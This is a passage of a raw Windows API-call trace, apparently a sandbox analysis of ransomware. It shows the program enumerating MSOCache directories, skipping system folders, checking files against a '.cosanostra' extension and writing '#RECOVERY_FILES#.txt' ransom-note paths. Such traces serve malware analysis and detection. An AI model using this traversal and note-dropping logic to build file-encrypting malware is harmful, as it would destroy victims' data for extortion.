StrStrIW (lpFirst="PrjPrrWW.cab", lpSrch=".cosanostra") returned 0x0 [0079.164] lstrcmpW (lpString1="PrjPrrWW.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.164] lstrcmpW (lpString1="PrjPrrWW.cab", lpString2="_uninstalling_.png") returned 1 [0079.164] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 79 [0079.165] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.165] lstrcmpiW (lpString1="setup.exe", lpString2="Windows") returned -1 [0079.165] lstrlenW (lpString="Windows") returned 7 [0079.165] lstrcmpiW (lpString1="setup.exe", lpString2="Program Files") returned 1 [0079.165] lstrlenW (lpString="Program Files") returned 13 [0079.165] lstrcmpiW (lpString1="setup.exe", lpString2="Program Files (x86)") returned 1 [0079.165] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.165] lstrcmpiW (lpString1="setup.exe", lpString2="$Recycle.bin") returned 1 [0079.165] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.165] lstrcmpiW (lpString1="setup.exe", lpString2="System Volume Information") returned -1 [0079.165] lstrlenW (lpString="System Volume Information") returned 25 [0079.165] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76 [0079.165] StrStrIW (lpFirst="setup.exe", lpSrch=".cosanostra") returned 0x0 [0079.165] lstrcmpW (lpString1="setup.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.165] lstrcmpW (lpString1="setup.exe", lpString2="_uninstalling_.png") returned 1 [0079.165] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76 [0079.165] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.165] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0079.165] lstrlenW (lpString="Windows") returned 7 [0079.165] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0079.165] lstrlenW (lpString="Program Files") returned 13 [0079.165] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0079.165] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.165] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0079.165] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.165] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0079.165] lstrlenW (lpString="System Volume Information") returned 25 [0079.165] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0079.165] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0079.165] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.165] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0079.165] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0079.165] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.166] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0079.166] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0079.166] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0079.167] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.167] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0079.167] lstrlenW (lpString="Windows") returned 7 [0079.167] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0079.167] lstrlenW (lpString="Program Files") returned 13 [0079.167] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0079.167] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.167] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0079.167] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.167] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0079.167] lstrlenW (lpString="System Volume Information") returned 25 [0079.167] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C") returned 66 [0079.167] lstrcmpW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0079.167] lstrcmpW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0079.168] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*") returned 68 [0079.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a770 [0079.275] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.275] lstrlenW (lpString="Windows") returned 7 [0079.275] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.275] lstrlenW (lpString="Program Files") returned 13 [0079.275] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.275] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.275] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.275] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.275] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.275] lstrlenW (lpString="System Volume Information") returned 25 [0079.275] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.") returned 68 [0079.275] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.275] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0079.276] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.276] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0079.276] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.") returned 68 [0079.276] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.276] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.276] lstrlenW (lpString="Windows") returned 7 [0079.276] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.276] lstrlenW (lpString="Program Files") returned 13 [0079.276] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.276] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.276] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.276] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.276] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.276] lstrlenW (lpString="System Volume Information") returned 25 [0079.276] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..") returned 69 [0079.276] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.276] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.276] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0079.276] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.276] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0079.276] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..") returned 69 [0079.276] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.276] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Windows") returned -1 [0079.276] lstrlenW (lpString="Windows") returned 7 [0079.276] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Program Files") returned -1 [0079.276] lstrlenW (lpString="Program Files") returned 13 [0079.276] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Program Files (x86)") returned -1 [0079.276] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.277] lstrcmpiW (lpString1="Office32WW.msi", lpString2="$Recycle.bin") returned 1 [0079.277] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.277] lstrcmpiW (lpString1="Office32WW.msi", lpString2="System Volume Information") returned -1 [0079.277] lstrlenW (lpString="System Volume Information") returned 25 [0079.277] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81 [0079.277] StrStrIW (lpFirst="Office32WW.msi", lpSrch=".cosanostra") returned 0x0 [0079.277] lstrcmpW (lpString1="Office32WW.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.277] lstrcmpW (lpString1="Office32WW.msi", lpString2="_uninstalling_.png") returned 1 [0079.277] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81 [0079.277] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.277] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Windows") returned -1 [0079.277] lstrlenW (lpString="Windows") returned 7 [0079.277] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Program Files") returned -1 [0079.277] lstrlenW (lpString="Program Files") returned 13 [0079.277] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Program Files (x86)") returned -1 [0079.277] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.277] lstrcmpiW (lpString1="Office32WW.xml", lpString2="$Recycle.bin") returned 1 [0079.277] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.277] lstrcmpiW (lpString1="Office32WW.xml", lpString2="System Volume Information") returned -1 [0079.277] lstrlenW (lpString="System Volume Information") returned 25 [0079.277] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81 [0079.277] StrStrIW (lpFirst="Office32WW.xml", lpSrch=".cosanostra") returned 0x0 [0079.277] lstrcmpW (lpString1="Office32WW.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.277] lstrcmpW (lpString1="Office32WW.xml", lpString2="_uninstalling_.png") returned 1 [0079.277] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81 [0079.277] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.277] lstrcmpiW (lpString1="ose.exe", lpString2="Windows") returned -1 [0079.277] lstrlenW (lpString="Windows") returned 7 [0079.277] lstrcmpiW (lpString1="ose.exe", lpString2="Program Files") returned -1 [0079.278] lstrlenW (lpString="Program Files") returned 13 [0079.278] lstrcmpiW (lpString1="ose.exe", lpString2="Program Files (x86)") returned -1 [0079.278] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.278] lstrcmpiW (lpString1="ose.exe", lpString2="$Recycle.bin") returned 1 [0079.278] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.278] lstrcmpiW (lpString1="ose.exe", lpString2="System Volume Information") returned -1 [0079.278] lstrlenW (lpString="System Volume Information") returned 25 [0079.278] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74 [0079.278] StrStrIW (lpFirst="ose.exe", lpSrch=".cosanostra") returned 0x0 [0079.278] lstrcmpW (lpString1="ose.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.278] lstrcmpW (lpString1="ose.exe", lpString2="_uninstalling_.png") returned 1 [0079.278] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74 [0079.278] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.278] lstrcmpiW (lpString1="osetup.dll", lpString2="Windows") returned -1 [0079.278] lstrlenW (lpString="Windows") returned 7 [0079.278] lstrcmpiW (lpString1="osetup.dll", lpString2="Program Files") returned -1 [0079.278] lstrlenW (lpString="Program Files") returned 13 [0079.278] lstrcmpiW (lpString1="osetup.dll", lpString2="Program Files (x86)") returned -1 [0079.278] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.278] lstrcmpiW (lpString1="osetup.dll", lpString2="$Recycle.bin") returned 1 [0079.278] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.278] lstrcmpiW (lpString1="osetup.dll", lpString2="System Volume Information") returned -1 [0079.278] lstrlenW (lpString="System Volume Information") returned 25 [0079.278] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77 [0079.278] StrStrIW (lpFirst="osetup.dll", lpSrch=".cosanostra") returned 0x0 [0079.278] lstrcmpW (lpString1="osetup.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.278] lstrcmpW (lpString1="osetup.dll", lpString2="_uninstalling_.png") returned 1 [0079.278] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77 [0079.279] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.279] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Windows") returned -1 [0079.279] lstrlenW (lpString="Windows") returned 7 [0079.279] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Program Files") returned -1 [0079.279] lstrlenW (lpString="Program Files") returned 13 [0079.279] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Program Files (x86)") returned -1 [0079.279] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.279] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="$Recycle.bin") returned 1 [0079.279] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.279] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="System Volume Information") returned -1 [0079.279] lstrlenW (lpString="System Volume Information") returned 25 [0079.279] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79 [0079.279] StrStrIW (lpFirst="OWOW32WW.cab", lpSrch=".cosanostra") returned 0x0 [0079.279] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.279] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="_uninstalling_.png") returned 1 [0079.279] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79 [0079.279] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.279] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Windows") returned -1 [0079.279] lstrlenW (lpString="Windows") returned 7 [0079.279] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Program Files") returned -1 [0079.279] lstrlenW (lpString="Program Files") returned 13 [0079.279] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Program Files (x86)") returned -1 [0079.279] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.279] lstrcmpiW (lpString1="PidGenX.dll", lpString2="$Recycle.bin") returned 1 [0079.279] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.279] lstrcmpiW (lpString1="PidGenX.dll", lpString2="System Volume Information") returned -1 [0079.279] lstrlenW (lpString="System Volume Information") returned 25 [0079.279] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78 [0079.279] StrStrIW (lpFirst="PidGenX.dll", lpSrch=".cosanostra") returned 0x0 [0079.279] lstrcmpW (lpString1="PidGenX.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.279] lstrcmpW (lpString1="PidGenX.dll", lpString2="_uninstalling_.png") returned 1 [0079.279] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78 [0079.280] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.280] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Windows") returned -1 [0079.280] lstrlenW (lpString="Windows") returned 7 [0079.280] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Program Files") returned -1 [0079.280] lstrlenW (lpString="Program Files") returned 13 [0079.280] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Program Files (x86)") returned -1 [0079.280] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.280] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="$Recycle.bin") returned 1 [0079.280] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.280] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="System Volume Information") returned -1 [0079.280] lstrlenW (lpString="System Volume Information") returned 25 [0079.280] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91 [0079.280] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".cosanostra") returned 0x0 [0079.280] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.280] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="_uninstalling_.png") returned 1 [0079.280] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91 [0079.280] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.280] lstrcmpiW (lpString1="setup.exe", lpString2="Windows") returned -1 [0079.280] lstrlenW (lpString="Windows") returned 7 [0079.280] lstrcmpiW (lpString1="setup.exe", lpString2="Program Files") returned 1 [0079.280] lstrlenW (lpString="Program Files") returned 13 [0079.280] lstrcmpiW (lpString1="setup.exe", lpString2="Program Files (x86)") returned 1 [0079.280] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.280] lstrcmpiW (lpString1="setup.exe", lpString2="$Recycle.bin") returned 1 [0079.280] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.280] lstrcmpiW (lpString1="setup.exe", lpString2="System Volume Information") returned -1 [0079.280] lstrlenW (lpString="System Volume Information") returned 25 [0079.280] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76 [0079.280] StrStrIW (lpFirst="setup.exe", lpSrch=".cosanostra") returned 0x0 [0079.281] lstrcmpW (lpString1="setup.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.281] lstrcmpW (lpString1="setup.exe", lpString2="_uninstalling_.png") returned 1 [0079.281] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76 [0079.281] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.281] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0079.281] lstrlenW (lpString="Windows") returned 7 [0079.281] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0079.281] lstrlenW (lpString="Program Files") returned 13 [0079.281] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0079.281] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.281] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0079.281] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.281] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0079.281] lstrlenW (lpString="System Volume Information") returned 25 [0079.281] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0079.281] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0079.281] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.281] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0079.281] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0079.281] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.281] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="Windows") returned -1 [0079.281] lstrlenW (lpString="Windows") returned 7 [0079.281] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="Program Files") returned 1 [0079.281] lstrlenW (lpString="Program Files") returned 13 [0079.281] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="Program Files (x86)") returned 1 [0079.281] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.281] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="$Recycle.bin") returned 1 [0079.281] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.281] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="System Volume Information") returned 1 [0079.281] lstrlenW (lpString="System Volume Information") returned 25 [0079.282] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 79 [0079.282] StrStrIW (lpFirst="VisiorWW.cab", lpSrch=".cosanostra") returned 0x0 [0079.282] lstrcmpW (lpString1="VisiorWW.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.282] lstrcmpW (lpString1="VisiorWW.cab", lpString2="_uninstalling_.png") returned 1 [0079.282] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 79 [0079.282] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.282] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="Windows") returned -1 [0079.282] lstrlenW (lpString="Windows") returned 7 [0079.282] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="Program Files") returned 1 [0079.282] lstrlenW (lpString="Program Files") returned 13 [0079.282] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="Program Files (x86)") returned 1 [0079.282] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.282] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="$Recycle.bin") returned 1 [0079.282] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.282] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="System Volume Information") returned 1 [0079.282] lstrlenW (lpString="System Volume Information") returned 25 [0079.282] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 79 [0079.282] StrStrIW (lpFirst="VisiorWW.msi", lpSrch=".cosanostra") returned 0x0 [0079.282] lstrcmpW (lpString1="VisiorWW.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.282] lstrcmpW (lpString1="VisiorWW.msi", lpString2="_uninstalling_.png") returned 1 [0079.282] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 79 [0079.282] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.282] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="Windows") returned -1 [0079.282] lstrlenW (lpString="Windows") returned 7 [0079.282] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="Program Files") returned 1 [0079.282] lstrlenW (lpString="Program Files") returned 13 [0079.282] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="Program Files (x86)") returned 1 [0079.282] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.282] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="$Recycle.bin") returned 1 [0079.283] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.283] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="System Volume Information") returned 1 [0079.283] lstrlenW (lpString="System Volume Information") returned 25 [0079.283] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 79 [0079.283] StrStrIW (lpFirst="VisiorWW.xml", lpSrch=".cosanostra") returned 0x0 [0079.283] lstrcmpW (lpString1="VisiorWW.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.283] lstrcmpW (lpString1="VisiorWW.xml", lpString2="_uninstalling_.png") returned 1 [0079.283] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 79 [0079.283] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.283] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0079.284] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0079.284] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0079.285] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0079.285] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0079.285] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\#RECOVERY_FILES#.txt") returned 46 [0079.285] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\#RECOVERY_FILES#.txt") returned 46 [0079.285] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 0 [0079.286] FindClose (in: hFindFile=0x239e28 | out: hFindFile=0x239e28) returned 1 [0079.286] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\#RECOVERY_FILES#.txt") returned 36 [0079.286] lstrlenW 